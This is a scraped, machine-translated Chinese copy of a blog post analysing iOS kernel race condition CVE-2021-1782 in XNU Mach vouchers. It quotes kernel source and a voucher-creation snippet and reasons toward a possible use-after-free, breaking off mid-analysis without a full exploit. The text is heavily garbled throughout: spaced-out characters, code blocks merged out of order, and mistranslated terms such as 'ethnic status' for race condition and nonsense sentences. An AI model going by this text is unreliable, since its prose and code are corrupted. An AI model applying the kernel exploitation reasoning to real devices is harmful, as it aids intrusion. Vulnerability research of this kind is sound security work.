搜索

[28840] 2021-04-04_IOS内核漏洞CVE-2021-1782的分析和利用

文档创建者：s7ckTeam
浏览次数：56
最后更新：2025-01-19
2021-04-04_IOS内核漏洞CVE-2021-1782的分析和利用 I O S 内 核 漏 洞 C V E - 2 0 2 1 - 1 7 8 2 的 分 析 和 利 用 L u c a   M o r o   O t s 安 全   2 0 2 1 - 0 4 - 0 4 两 周 前 ， C V E - 2 0 2 1 - 1 7 8 2 被 苹 果 公 司 修 复 。 如 果 此 内 核 漏 洞 的 补 丁 很 简 单 ， 那 么 仍 将 发 现 一 种 利 用 该 漏 洞 的 方 法 。 这 篇 博 客 文 章 旨 在 解 释 在 提 供 P o C 时 如 何 利 用 漏 洞 。 T L   /   D R ： 你 要 比 赛 两 次 利 用 该 b u g ， 在 P o C 是 在 年 底 或 出 现 。 编 辑 ： 好 吧 ， @   M o d e r n P w n e r 似 乎 刚 刚 发 布 了 此 漏 洞 的 利 用 程 序 ， 比 我 们 快 了 几 个 小 时 ！ 恭 喜 他 们 ！ 您 可 以 在 此 处 找 到 他 们 的 漏 洞 利 用 。 介 绍 介 绍 苹 果 几 天 前 发 布 了 i O S   1 4 . 4 ， 主 要 解 决 了 安 全 问 题 。 首 先 ， 发 行 说 明 描 述 了 根 据 编 辑 器 C V E - 2 0 2 1 - 1 7 8 2 （ 内 核 ） ， C V E - 2 0 2 1 - 1 8 7 0 和 C V E - 2 0 2 1 - 1 8 7 0 （ W e b K i t ） 被 积 极 利 用 的 三 个 漏 洞 。 这 些 说 明 后 来 进 行 了 更 新 ， 以 包 含 有 关 其 他 问 题 的 更 多 详 细 信 息 。 除 了 匿 名 研 究 员 报 告 的 种 族 状 况 外 ， C V E - 2 0 2 1 - 1 7 8 2 的 详 细 信 息 还 很 少 。 但 是 ， 由 于 此 更 新 仅 针 对 新 功 能 ， 因 此 可 以 通 过 二 进 制 差 异 查 找 内 核 错 误 。 C V E - 2 0 2 1 - 1 7 8 2 是 由 于 凭 证 实 施 中 缺 少 锁 定 而 迅 速 成 为 公 共 信 息 （ @   s 1 g u z a ） u s e r _ d a t a _ g e t _ v a l u e ( ) 。 几 天 后 ， X N U 最 新 资 源 （ x n u - 7 1 9 5 . 8 1 . 3 ） 的 发 布 给 出 了 以 下 新 代 码 u s e r _ d a t a _ g e t _ v a l u e ( ) ： 我 们 想 知 道 该 漏 洞 如 何 被 利 用 。 起 初 ， 很 明 显 ， 本 节 可 以 与 自 己 比 赛 ， 而 e _ m a d e 计 数 可 能 会 丢 失 。 这 是 因 为 增 量 不 是 原 子 的 。 但 是 ， 通 过 查 看 代 码 ， 如 何 利 用 它 来 实 现 潜 在 的 “ 售 后 使 用 ” 情 况 并 不 太 明 显 。 我 们 花 了 一 些 时 间 来 解 决 这 个 问 题 ， 这 篇 博 客 文 章 介 绍 了 我 们 的 结 果 以 及 触 发 该 漏 洞 的 P o C 。 马 赫 凭 证 基 础 马 赫 凭 证 基 础 凭 证 作 为 马 赫 对 象 凭 证 作 为 马 赫 对 象 M a c h 凭 证 不 是 X N U 最 明 显 的 概 念 ， 因 此 让 我 们 从 对 它 们 的 介 绍 开 始 。 我 们 不 会 涵 盖 所 有 内 容 ， 但 是 我 们 将 尝 试 提 供 足 够 的 信 息 来 理 解 为 什 么 不 能 简 单 地 访 问 U a F 。 马 赫 凭 证 是 用 于 存 储 和 表 示 不 可 变 资 源 的 内 核 对 象 。 凭 证 的 大 多 数 实 现 位 于 / o s f m k / i p c / i p c _ v o u c h e r . c 源 文 件 中 。 以 纯 M a c h 方 式 ， 凭 证 可 以 在 用 户 域 中 作 为 m a c h   p o r t （ m a c h _ v o u c h e r _ t ） 处 理 ， 而 内 核 使 用 更 复 杂 的 s t r u c t i p c _ v o u c h e r 。 然 后 ， 如 预 期 的 那 样 ， 可 以 通 过 在 马 赫 消 息 中 发 送 凭 证 来 在 进 程 间 通 信 （ I P C ） 中 使 用 凭 证 。 凭 证 属 性 在 凭 证 的 后 面 ， 可 以 引 用 各 种 资 源 。 在 凭 证 行 话 中 ， 这 些 不 同 的 资 源 称 为 属 性 。 现 在 X N U 有 4 种 不 同 的 属 性 类 型 ， b a n k s ， i p c _ i m p o r t a n c e ， i p c _ t h r e a d _ p r i o r i t y 和 u s e r _ d a t a 。 对 于 今 天 的 博 客 文 章 ， 我 们 仅 关 注 u s e r _ d a t a 用 于 将 用 户 数 据 存 储 为 纯 文 本 的 凭 证 类 型 。 每 个 属 性 类 型 都 有 其 自 己 的 标 识 符 ， 即 键 （ m a c h _ v o u c h e r _ a t t r _ k e y _ t ） 。 该 键 用 于 指 定 函 数 应 使 用 的 属 性 ， 以 后 再 介 绍 。 例 如 ， 可 以 通 过 访 问 “   b a n k ” 属 性 M A C H _ V O U C H E R _ A T T R _ K E Y _ B A N K 。 此 外 ， 每 个 属 性 还 带 有 其 自 己 的 管 理 器 （ i p c _ v o u c h e r _ a t t r _ m a n a g e r _ t ） ， 该 管 理 器 是 一 组 用 于 处 理 凭 单 下 特 定 数 据 的 回 调 。 s w i t c h   ( c o m m a n d )   { c a s e   M A C H _ V O U C H E R _ A T T R _ R E D E E M :         / *   r e d e e m   o f   p r e v i o u s   v a l u e s   i s   t h e   v a l u e   * /         i f   ( 0   <   p r e v _ v a l u e _ c o u n t )   {                 e l e m   =   ( u s e r _ d a t a _ e l e m e n t _ t ) p r e v _ v a l u e s [ 0 ] ;                 u s e r _ d a t a _ l o c k ( ) ;                     / /   t h e   l o c k s   w e r e   a d d e d   h e r e   . . .                 a s s e r t ( 0   <   e l e m - > e _ m a d e ) ;                 e l e m - > e _ m a d e + + ;                 u s e r _ d a t a _ u n l o c k ( ) ;                 / /   . . .   a n d   h e r e                 * o u t _ v a l u e   =   ( m a c h _ v o u c h e r _ a t t r _ v a l u e _ h a n d l e _ t ) e l e m ;                 r e t u r n   K E R N _ S U C C E S S ;         }         / *   r e d e e m   o f   d e f a u l t   i s   d e f a u l t   * /         * o u t _ v a l u e   =   0 ;         r e t u r n   K E R N _ S U C C E S S ; s t r u c t   i p c _ v o u c h e r _ a t t r _ m a n a g e r   {         i p c _ v o u c h e r _ a t t r _ m a n a g e r _ r e l e a s e _ v a l u e _ t                 i v a m _ r e l e a s e _ v a l u e ;         i p c _ v o u c h e r _ a t t r _ m a n a g e r _ g e t _ v a l u e _ t                         i v a m _ g e t _ v a l u e ;         i p c _ v o u c h e r _ a t t r _ m a n a g e r _ e x t r a c t _ c o n t e n t _ t             i v a m _ e x t r a c t _ c o n t e n t ;         i p c _ v o u c h e r _ a t t r _ m a n a g e r _ c o m m a n d _ t                             i v a m _ c o m m a n d ;         i p c _ v o u c h e r _ a t t r _ m a n a g e r _ r e l e a s e _ t                             i v a m _ r e l e a s e ;         i p c _ v o u c h e r _ a t t r _ m a n a g e r _ f l a g s                                     i v a m _ f l a g s ; } ;
最 后 但 并 非 最 不 重 要 的 i p c _ v o u c h e r _ a t t r _ c o n t r o l _ t 一 点 是 ， 每 个 属 性 还 链 接 了 一 个 控 制 端 口 （ ） ， 但 这 不 在 本 文 的 讨 论 范 围 之 内 。 有 关 如 何 注 册 属 性 管 理 器 的 更 多 详 细 信 息 ， 请 参 见 的 代 码 i p c _ r e g i s t e r _ w e l l _ k n o w n _ m a c h _ v o u c h e r _ a t t r _ m a n a g e r ( ) 。 考 虑 到 这 一 点 ， 我 们 可 以 说 整 个 凭 证 实 现 分 为 两 层 ： 上 层 通 用 凭 证 层 ， 负 责 簿 记 （ 对 参 考 进 行 计 数 和 存 储 ） 和 I P C （ 处 理 用 户 名 /   k e r n e l a n d 港 口 翻 译 ） 特 定 于 属 性 并 由 属 性 管 理 器 处 理 的 内 层 。 凭 证 创 建 凭 证 创 建 从 用 户 那 里 ， 由 于 有 了 h o s t _ c r e a t e _ m a c h _ v o u c h e r ( ) 马 赫 陷 阱 ， 所 以 可 以 创 建 代 金 券 ： 因 此 h o s t _ c r e a t e _ m a c h _ v o u c h e r ( ) 需 要 一 组 一 个 或 多 个 配 方 （ m a c h _ v o u c h e r _ a t t r _ r e c i p e _ d a t a _ t ） 。 配 方 说 明 了 内 核 在 生 成 引 用 之 前 应 如 何 构 造 凭 证 。 配 方 由 c o m m a n d ， 属 性 k e y 和 通 常 是 c o n t e n t 或 对 的 引 用 组 成 p r e v i o u s _ v o u c h e r （ 但 可 能 两 者 都 有 ） 。 在 凭 证 创 建 期 间 ， i p c _ e x e c u t e _ v o u c h e r _ r e c i p e _ c o m m a n d ( ) 将 为 该 组 的 每 个 配 方 调 用 该 凭 证 。 它 考 虑 了 成 形 凭 证 c o m m a n d 和 提 供 的 c o n t e n t 凭 证 或 先 前 的 凭 证 。 形 成 凭 证 通 过 每 个 配 方 ， 然 后 将 所 得 凭 证 返 还 给 用 户 区 。 例 如 ， 通 过 在 M A C H _ V O U C H E R _ A T T R _ C O P Y 命 令 中 使 用 配 方 和 上 一 个 凭 证 ， 我 们 将 获 得 一 个 新 凭 证 ， 该 凭 证 是 前 一 个 凭 证 的 副 本 。 如 果 看 起 来 很 傻 ， 那 是 因 为 我 们 通 常 使 用 特 定 于 凭 证 属 性 的 命 令 来 创 建 凭 证 。 例 如 ， u s e r _ d a t a 可 以 使 用 包 含 M A C H _ V O U C H E R _ A T T R _ U S E R _ D A T A _ S T O R E 命 令 的 配 方 制 作 凭 证 。 以 下 是 如 何 创 建 此 类 凭 证 的 示 例 ： 之 后 ， 可 以 使 用 提 取 凭 证 的 内 容 m a c h _ v o u c h e r _ e x t r a c t _ a t t r _ r e c i p e ( ) 。 凭 证 记 账 凭 证 记 账 在 凭 证 内 ， 值 与 泛 型 一 起 存 储 s t r u c t   i v a c _ e n t r y _ s ： k e r n _ r e t u r n _ t   h o s t _ c r e a t e _ m a c h _ v o u c h e r ( m a c h _ p o r t _ n a m e _ t   h o s t ,         m a c h _ v o u c h e r _ a t t r _ r a w _ r e c i p e _ a r r a y _ t   r e c i p e s ,         m a c h _ v o u c h e r _ a t t r _ r e c i p e _ s i z e _ t   r e c i p e s C n t ,         m a c h _ p o r t _ n a m e _ t   * v o u c h e r ) t y p e d e f   s t r u c t   m a c h _ v o u c h e r _ a t t r _ r e c i p e _ d a t a   {         m a c h _ v o u c h e r _ a t t r _ k e y _ t                                   k e y ;         m a c h _ v o u c h e r _ a t t r _ r e c i p e _ c o m m a n d _ t             c o m m a n d ;         m a c h _ v o u c h e r _ n a m e _ t                                           p r e v i o u s _ v o u c h e r ;         m a c h _ v o u c h e r _ a t t r _ c o n t e n t _ s i z e _ t                 c o n t e n t _ s i z e ;         u i n t 8 _ t                                                                   c o n t e n t [ ] ; }   m a c h _ v o u c h e r _ a t t r _ r e c i p e _ d a t a _ t ; s t r u c t   s t o r e _ r e c i p e   {                 m a c h _ v o u c h e r _ a t t r _ r e c i p e _ d a t a _ t   r e c i p e ;                 u i n t 8 _ t   c o n t e n t [ 1 0 2 4 ] ; } ; s t r u c t   s t o r e _ r e c i p e   r e c i p e   =   { 0 } ; r e c i p e . r e c i p e . k e y   =   M A C H _ V O U C H E R _ A T T R _ K E Y _ U S E R _ D A T A ; r e c i p e . r e c i p e . c o m m a n d   =   M A C H _ V O U C H E R _ A T T R _ U S E R _ D A T A _ S T O R E ; r e c i p e . r e c i p e . c o n t e n t _ s i z e   =   V O U C H E R _ C O N T E N T _ S I Z E ; s t r c p y ( r e c i p e . c o n t e n t ,   " S Y N A C K T I V " ) ; m a c h _ p o r t _ t   p o r t   =   M A C H _ P O R T _ N U L L ; h o s t _ c r e a t e _ m a c h _ v o u c h e r ( m a c h _ h o s t _ s e l f ( ) ,   & r e c i p e ,   s i z e o f ( r e c i p e ) ,   & p o r t ) ; s t r u c t   i v a c _ e n t r y _ s   {         i v _ v a l u e _ h a n d l e _ t               i v a c e _ v a l u e ;         i v _ v a l u e _ r e f s _ t                   i v a c e _ l a y e r e d : 1 ,           / *   l a y e r e d   e f f e c t i v e   e n t r y   * /                 i v a c e _ r e l e a s i n g : 1 ,                                               / *   r e l e a s e   i n   p r o g r e s s   * /                 i v a c e _ f r e e : 1 ,                                                         / *   o n   f r e e l i s t   * /                 i v a c e _ p e r s i s t : 1 ,                                                   / *   P e r s i s t   t h e   e n t r y ,   d o n ' t   c o u n t   m a d e   r e f s   * /                 i v a c e _ r e f s : 2 8 ;                                                       / *   r e f e r e n c e   c o u n t   * /         u n i o n   {                 i v _ v a l u e _ r e f s _ t   i v a c e u _ m a d e ;                   / *   m a d e   c o u n t   ( n o n - l a y e r e d )   * /                 i v _ i n d e x _ t             i v a c e u _ l a y e r ;                 / *   n e x t   e f f e c t i v e   l a y e r   ( l a y e r e d )   * /         }   i v a c e _ u ;         i v _ i n d e x _ t                             i v a c e _ n e x t ;                     / *   h a s h   o r   f r e e l i s t   * /         i v _ i n d e x _ t                             i v a c e _ i n d e x ;                   / *   h a s h   h e a d   ( i n d e p e n d e n t )   * / } ; t y p e d e f   s t r u c t   i v a c _ e n t r y _ s               i v a c _ e n t r y ; t y p e d e f   i v a c _ e n t r y                             * i v a c _ e n t r y _ t ;
这 i v a c e _ v a l u e 是 不 透 明 的 类 型 ， 取 决 于 存 储 的 属 性 。 例 如 ， 当 与 u s e r _ d a t a 属 性 一 起 使 用 时 ， 此 字 段 存 储 一 个 u s e r _ d a t a _ e l e m e n t _ t 。 i v a c e _ n e x t 和 i v a c e _ i n d e x 是 索 引 ， 用 于 i v a c _ e n t r y _ t 从 不 同 的 表 中 检 索 。 但 是 ， 凭 证 在 更 高 层 上 存 储 其 条 目 的 方 式 与 C V E - 2 0 2 1 - 1 7 8 2 的 研 究 并 不 真 正 相 关 ， 因 此 我 们 将 继 续 进 行 下 去 。 更 有 趣 的 是 ， 我 们 看 到 i v a c e _ r e f s 和 i v a c e _ m a d e 。 i v a c e _ r e f s 代 表 i v a c e _ v a l u e 存 在 多 少 个 实 时 引 用 （ 即 引 用 计 数 ） ， 该 引 用 数 会 发 生 波 动 。 i v a c e _ m a d e 占 引 用 的 时 间 ， 因 此 该 字 段 只 会 增 加 。 为 了 简 单 起 见 ， 我 们 假 设 大 多 数 情 况 下 ， i v a c e _ m a d e 和 i v a c e _ r e f s 都 是 使 用 一 起 增 加 的 i v a c e _ r e f e r e n c e _ b y _ v a l u e ( ) （ 更 狂 热 的 读 者 总 是 可 以 阅 读 i v a c e _ r e f e r e n c e _ b y _ i n d e x ( ) 以 查 看 更 多 细 微 差 别 ） 。 重 要 的 是 要 知 道 ， 由 于 凭 单 的 不 可 更 改 性 （ 仅 读 为 准 ） ， 因 此 无 需 两 次 存 储 相 同 的 值 （ 即 整 个 概 念 ） 。 为 了 避 免 这 样 做 ， 实 施 了 重 复 数 据 删 除 功 能 。 因 为 凭 证 层 不 知 道 属 性 管 理 器 如 何 存 储 值 ， 所 以 通 常 在 两 个 层 上 都 可 以 找 到 此 功 能 。 例 如 ， 请 参 见 i v _ d e d u p ( ) （ 凭 证 层 ） 和 u s e r _ d a t a _ d e d u p ( ) （ 经 理 层 ） 。 这 个 事 实 也 解 释 了 为 什 么 v o u c h e r _ t 当 我 们 两 次 创 建 相 同 的 凭 单 时 会 得 到 相 同 的 端 口 。 漏 洞 和 凭 证 发 布 周 期 漏 洞 和 凭 证 发 布 周 期 现 在 我 们 可 以 回 到 的 补 丁 了 u s e r _ d a t a _ g e t _ v a l u e ( ) 。 此 函 数 是 . i v a m _ g e t _ v a l u e “   u s e r _ d a t a ” 属 性 管 理 器 的 回 调 。 它 在 凭 证 创 建 期 间 用 于 u s e r _ d a t a _ e l e m e n t _ t 从 该 层 获 取 。 与 M A C H _ V O U C H E R _ A T T R _ U S E R _ D A T A _ S T O R E 命 令 一 起 使 用 时 ， 除 非 存 在 重 复 项 u s e r _ d a t a _ e l e m e n t _ t ， u s e r _ d a t a _ g e t _ v a l u e ( ) 否 则 创 建 新 项 。 与 M A C H _ V O U C H E R _ A T T R _ R E D E E M 命 令 一 起 使 用 时 ， u s e r _ d a t a _ g e t _ v a l u e ( ) 将 从 先 前 的 凭 证 （ 或 成 形 凭 证 ） 中 获 取 值 。 在 这 两 种 情 况 下 ， e _ m a d e 参 考 值 都 是 递 增 的 （ 请 参 阅 参 考 资 料 u s e r _ d a t a _ d e d u p ( ) ） 。 缺 少 u s e r _ d a t a _ l o c k ( ) ， 我 们 知 道 该 漏 洞 使 我 们 能 够 应 对 e _ m a d e 增 量 。 实 际 上 ， 通 过 发 出 两 个 h o s t _ c r e a t e _ m a c h _ v o u c h e r ( ） 和 命 令 M A C H _ V O U C H E R _ A T T R _ R E D E E M ， 我 们 也 许 可 以 “ 跳 过 ” 一 个 增 量 。 因 此 ， 该 元 素 的 引 用 计 数 可 能 在 管 理 者 级 别 处 于 关 闭 状 态 。 现 在 出 现 了 一 个 问 题 ： 如 何 u s e r _ d a t a _ e l e m e n t _ t 释 放 它 ？ 好 吧 ， 让 我 们 看 看 u s e r _ d a t a _ r e l e a s e _ v a l u e ( ) 哪 个 负 责 发 布 u s e r _ d a t a _ e l e m e n t _ t 。 当 释 放 上 层 的 表 示 值 时 ， 此 函 数 仅 称 为 中 的 . i v a m _ r e l e a s e _ v a l u e 回 调 。 这 是 相 关 的 和 带 注 释 的 代 码 ： i v a c e _ r e l e a s e ( ) i v a c _ e n t r y _ t t y p e d e f   i v a c _ e n t r y                             * i v a c _ e n t r y _ t ; # d e f i n e   i v a c e _ m a d e                             i v a c e _ u . i v a c e u _ m a d e # d e f i n e   i v a c e _ l a y e r                           i v a c e _ u . i v a c e u _ l a y e r s t r u c t   u s e r _ d a t a _ v a l u e _ e l e m e n t   {         m a c h _ v o u c h e r _ a t t r _ v a l u e _ r e f e r e n c e _ t           e _ m a d e ;         m a c h _ v o u c h e r _ a t t r _ c o n t e n t _ s i z e _ t                 e _ s i z e ;         i v _ i n d e x _ t                                                             e _ s u m ;         i v _ i n d e x _ t                                                             e _ h a s h ;         q u e u e _ c h a i n _ t                                                       e _ h a s h _ l i n k ;         u i n t 8 _ t                                                                   e _ d a t a [ ] ; } ; t y p e d e f   s t r u c t   u s e r _ d a t a _ v a l u e _ e l e m e n t   * u s e r _ d a t a _ e l e m e n t _ t ; s t a t i c   v o i d   i v a c e _ r e l e a s e (         i v _ i n d e x _ t   k e y _ i n d e x ,         i v _ i n d e x _ t   v a l u e _ i n d e x ) {         / /   [ . . . ]         i p c _ v o u c h e r _ a t t r _ c o n t r o l _ t   i v a c ;         m a c h _ v o u c h e r _ a t t r _ v a l u e _ r e f e r e n c e _ t   m a d e ;         i v a c _ e n t r y _ t   i v a c e ;         / /   [ . . . ]         i v g t _ l o o k u p ( k e y _ i n d e x ,   F A L S E ,   & i v a m ,   & i v a c ) ;                                                                                             [ 1 ]         i v a c _ l o c k ( i v a c ) ;         / /   [ . . . ]         i v a c e   =   & i v a c - > i v a c _ t a b l e [ v a l u e _ i n d e x ] ;                                                                                                       [ 2 ]         / /   [ . . . ]         i f   ( 0   <   - - i v a c e - > i v a c e _ r e f s )   {                                                                                                                         [ 3 ]                 i v a c _ u n l o c k ( i v a c ) ;                 r e t u r n ;         }         / /   [ . . . ]         v a l u e   =   i v a c e - > i v a c e _ v a l u e ;                                                                                                                               [ 4 ] r e d r i v e :         / /   [ . . . ]         m a d e   =   i v a c e - > i v a c e _ m a d e ;         i v a c _ u n l o c k ( i v a c ) ;                                                                                                                                                 [ 5 ]         k r   =   ( i v a m - > i v a m _ r e l e a s e _ v a l u e ) ( i v a m ,   k e y ,   v a l u e ,   m a d e ) ;                                                                     [ 6 ]
在 [ 1 ] 中 ， 经 理 被 提 取 u s e r _ d a t a _ m a n a g e r 。 在 [ 2 ] 中 ， 获 取 了 负 责 我 们 价 值 的 虚 假 信 息 。 在 [ 3 ] 中 ， 如 果 不 是 最 后 一 个 引 用 ， 则 释 放 过 程 将 停 止 。 在 [ 4 ] 中 u s e r _ d a t a _ e l e m e n t _ t 被 获 取 。 在 [ 5 ] 中 ， 将 i v a c 锁 放 开 ， 这 为 i v a c e - >   i v a c e _ m a d e 修 改 的 竞 赛 提 供 了 空 间 ， 但 这 是 另 一 回 事 了 。 在 [ 6 ] 中 ， 函 数 u s e r _ d a t a _ r e l e a s e _ v a l u e ( ) 以 我 们 的 元 素 i v a c e - > i v a c e _ m a d e 作 为 参 数 被 调 用 。 在 [ 7 ] 有 最 终 的 比 赛 在 搬 运 [ 5 ]   ， 这 是 有 趣 的 ， 但 超 出 范 围 现 在 。 在 [ 8 ] 中 ， i v a c e 从 i v a c 哈 希 表 中 删 除 。 这 是 有 关 的 代 码 u s e r _ d a t a _ r e l e a s e _ v a l u e ( ) ： i v a c e - > i v a c e _ m a d e 作 为 s y n c 参 数 传 递 的 事 实 非 常 有 趣 。 的 确 ， 如 果 s y n c 不 等 于 e l e m - > e _ m a d e ， e l e m 就 不 会 释 放 。 现 在 我 们 意 识 到 ， 这 两 层 都 有 一 个 计 数 ， 应 该 同 步 。 一 般 的 想 法 是 ， 在 正 常 操 作 下 ， e l e m - > e _ m a d e 应 匹 配 i v a c e - > i v a c e _ m a d e 。 这 种 实 现 方 式 是 这 样 的 ， 以 便 在 调 用 时 发 生 （ 合 法 ） 竞 争 时 i v a c e _ r e l e a s e ( ) ， 管 理 器 不 会         i v a c _ l o c k ( i v a c ) ;         i v a c e   =   & i v a c - > i v a c _ t a b l e [ v a l u e _ i n d e x ] ;         / *           *   n e w   m a d e   v a l u e s   r a c e d   w i t h   t h i s   r e t u r n .     I f   t h e           *   m a n a g e r   O K ' e d   t h e   p r i o r   r e l e a s e ,   w e   h a v e   t o   s t a r t           *   t h e   m a d e   n u m b e r i n g   o v e r   a g a i n   ( p r e t e n d   t h e   r a c e           *   d i d n ' t   h a p p e n ) .   I f   t h e   e n t r y   h a s   z e r o   r e f s   a g a i n ,           *   r e - d r i v e   t h e   r e l e a s e .           * /                                                                                                                                                                                             [ 7 ]         / /   [ . . . ]                                                                                                                                                                                                                                                                                                                                                                 [ 8 ]         / /   [ . . . ]                                                                                                                                                                             / *   P u t   t h i s   e n t r y   o n   t h e   f r e e l i s t   * /         i v a c e - > i v a c e _ v a l u e   =   0 x d e a d c 0 d e d e a d c 0 d e ;         i v a c e - > i v a c e _ r e l e a s i n g   =   F A L S E ;         i v a c e - > i v a c e _ f r e e   =   T R U E ;         i v a c e - > i v a c e _ m a d e   =   0 ;         i v a c e - > i v a c e _ n e x t   =   i v a c - > i v a c _ f r e e l i s t ;         i v a c - > i v a c _ f r e e l i s t   =   v a l u e _ i n d e x ;         i v a c _ u n l o c k ( i v a c ) ;         i v a c _ r e l e a s e ( i v a c ) ;         r e t u r n ; } s t a t i c   k e r n _ r e t u r n _ t u s e r _ d a t a _ r e l e a s e _ v a l u e (         i p c _ v o u c h e r _ a t t r _ m a n a g e r _ t                             _ _ a s s e r t _ o n l y   m a n a g e r ,         m a c h _ v o u c h e r _ a t t r _ k e y _ t                                   _ _ a s s e r t _ o n l y   k e y ,         m a c h _ v o u c h e r _ a t t r _ v a l u e _ h a n d l e _ t                 v a l u e ,         m a c h _ v o u c h e r _ a t t r _ v a l u e _ r e f e r e n c e _ t           s y n c ) {         / /   [ . . . ]         u s e r _ d a t a _ l o c k ( ) ;         i f   ( s y n c   = =   e l e m - > e _ m a d e )   {                 q u e u e _ r e m o v e ( & u s e r _ d a t a _ b u c k e t [ h a s h ] ,   e l e m ,   u s e r _ d a t a _ e l e m e n t _ t ,   e _ h a s h _ l i n k ) ;                 u s e r _ d a t a _ u n l o c k ( ) ;                 k f r e e ( e l e m ,   s i z e o f ( * e l e m )   +   e l e m - > e _ s i z e ) ;                 r e t u r n   K E R N _ S U C C E S S ;         }         a s s e r t ( s y n c   <   e l e m - > e _ m a d e ) ;         u s e r _ d a t a _ u n l o c k ( ) ;         r e t u r n   K E R N _ F A I L U R E ; }
最 终 释 放 资 源 。 当 我 们 碰 巧 触 发 漏 洞 并 跳 过 一 个 增 量 时 ， 我 们 只 会 得 到 一 个 i v a c e - > i v a c e _ m a d e 大 于 的 值 e l e m - > e _ m a d e 。 这 打 破 了 同 步 ， 也 打 破 了 我 们 希 望 u s e r _ d a t a _ e l e m e n t _ t 有 空 后 再 使 用 的 希 望 。 好 吧 ， 必 须 有 另 一 种 “ 重 新 同 步 ” 层 的 方 法 ！ 另 一 场 （ 合 法 的 ） 比 赛 另 一 场 （ 合 法 的 ） 比 赛 到 目 前 为 止 ， 我 们 知 道 i v a c e - > i v a c e _ m a d e 会 增 加 i v a c e _ r e f e r e n c e _ b y _ v a l u e ( ) 。 另 一 方 面 e l e m - > e _ m a d e ， u s e r _ d a t a _ g e t _ v a l u e ( ) 当 我 们 使 用 M A C H _ V O U C H E R _ A T T R _ R E D E E M 或 创 建 凭 证 时 ， 通 过 递 增 M A C H _ V O U C H E R _ A T T R _ U S E R _ D A T A _ S T O R E 。 为 了 使 所 有 内 容 保 持 同 步 ， 我 们 希 望 两 个 函 数 始 终 一 起 被 调 用 。 在 中 i p c _ r e p l a c e _ v o u c h e r _ v a l u e ( ) ， 就 是 这 种 情 况 ， 在 凭 证 创 建 过 程 中 大 多 数 命 令 都 会 调 用 ： / *   *     R o u t i n e :         i p c _ r e p l a c e _ v o u c h e r _ v a l u e   *     P u r p o s e :   *             R e p l a c e   t h e   < v o u c h e r ,   k e y >   v a l u e   w i t h   t h e   r e s u l t s   o f   *             r u n n i n g   t h e   s u p p l i e d   c o m m a n d   t h r o u g h   t h e   r e s o u r c e   *             m a n a g e r ' s   g e t - v a l u e   c a l l b a c k .   *     C o n d i t i o n s :   *             N o t h i n g   l o c k e d   ( m a y   i n v o k e   u s e r - s p a c e   r e p e a t e d l y ) .   *             C a l l e r   h o l d s   r e f e r e n c e s   o n   v o u c h e r   a n d   p r e v i o u s   v o u c h e r .   * / s t a t i c   k e r n _ r e t u r n _ t i p c _ r e p l a c e _ v o u c h e r _ v a l u e (         i p c _ v o u c h e r _ t                                                       v o u c h e r ,         m a c h _ v o u c h e r _ a t t r _ k e y _ t                                   k e y ,         m a c h _ v o u c h e r _ a t t r _ r e c i p e _ c o m m a n d _ t             c o m m a n d ,         i p c _ v o u c h e r _ t                                                       p r e v _ v o u c h e r ,         m a c h _ v o u c h e r _ a t t r _ c o n t e n t _ t                           c o n t e n t ,         m a c h _ v o u c h e r _ a t t r _ c o n t e n t _ s i z e _ t                 c o n t e n t _ s i z e ) {         / /   [ . . . ]         / *   s a v e   t h e   c u r r e n t   v a l u e   s t o r e d   i n   t h e   f o r m i n g   v o u c h e r   * /         s a v e _ v a l _ i n d e x   =   i v _ l o o k u p ( v o u c h e r ,   k e y _ i n d e x ) ;         / *           *   G e t   t h e   p r e v i o u s   v a l u e ( s )   f o r   t h i s   k e y   c r e a t i o n .           *   I f   a   p r e v i o u s   v o u c h e r   i s   s p e c i f i e d ,   t h e y   c o m e   f r o m   t h e r e .           *   O t h e r w i s e ,   t h e y   c o m e   f r o m   t h e   i n t e r m e d i a t e   v a l u e s   a l r e a d y           *   i n   t h e   f o r m i n g   v o u c h e r .           * /         p r e v _ v a l _ i n d e x   =   ( I V _ N U L L   ! =   p r e v _ v o u c h e r )   ?                 i v _ l o o k u p ( p r e v _ v o u c h e r ,   k e y _ i n d e x )   :                 s a v e _ v a l _ i n d e x ;         i v a c e _ l o o k u p _ v a l u e s ( k e y _ i n d e x ,   p r e v _ v a l _ i n d e x ,                                                       / /   [ 1 ]                 p r e v i o u s _ v a l s ,   & p r e v i o u s _ v a l s _ c o u n t ) ;         / *   C a l l   o u t   t o   r e s o u r c e   m a n a g e r   t o   g e t   n e w   v a l u e   * /         n e w _ v a l u e _ v o u c h e r   =   I V _ N U L L ;         k r   =   ( i v a m - > i v a m _ g e t _ v a l u e ) (                                                                                           / /   [ 2 ]                 i v a m ,   k e y ,   c o m m a n d ,                 p r e v i o u s _ v a l s ,   p r e v i o u s _ v a l s _ c o u n t ,                 c o n t e n t ,   c o n t e n t _ s i z e ,                 & n e w _ v a l u e ,   & n e w _ f l a g ,   & n e w _ v a l u e _ v o u c h e r ) ;         / /   [ . . . ]         / *           *   F i n d   o r   c r e a t e   a   s l o t   i n   t h e   t a b l e   a s s o c i a t e d           *   w i t h   t h i s   a t t r i b u t e   v a l u e .     T h e   i v a c   r e f e r e n c e           *   i s   t r a n s f e r r e d   t o   a   n e w   v a l u e ,   o r   c o n s u m e d   i f           *   w e   f i n d   a   m a t c h i n g   e x i s t i n g   v a l u e .
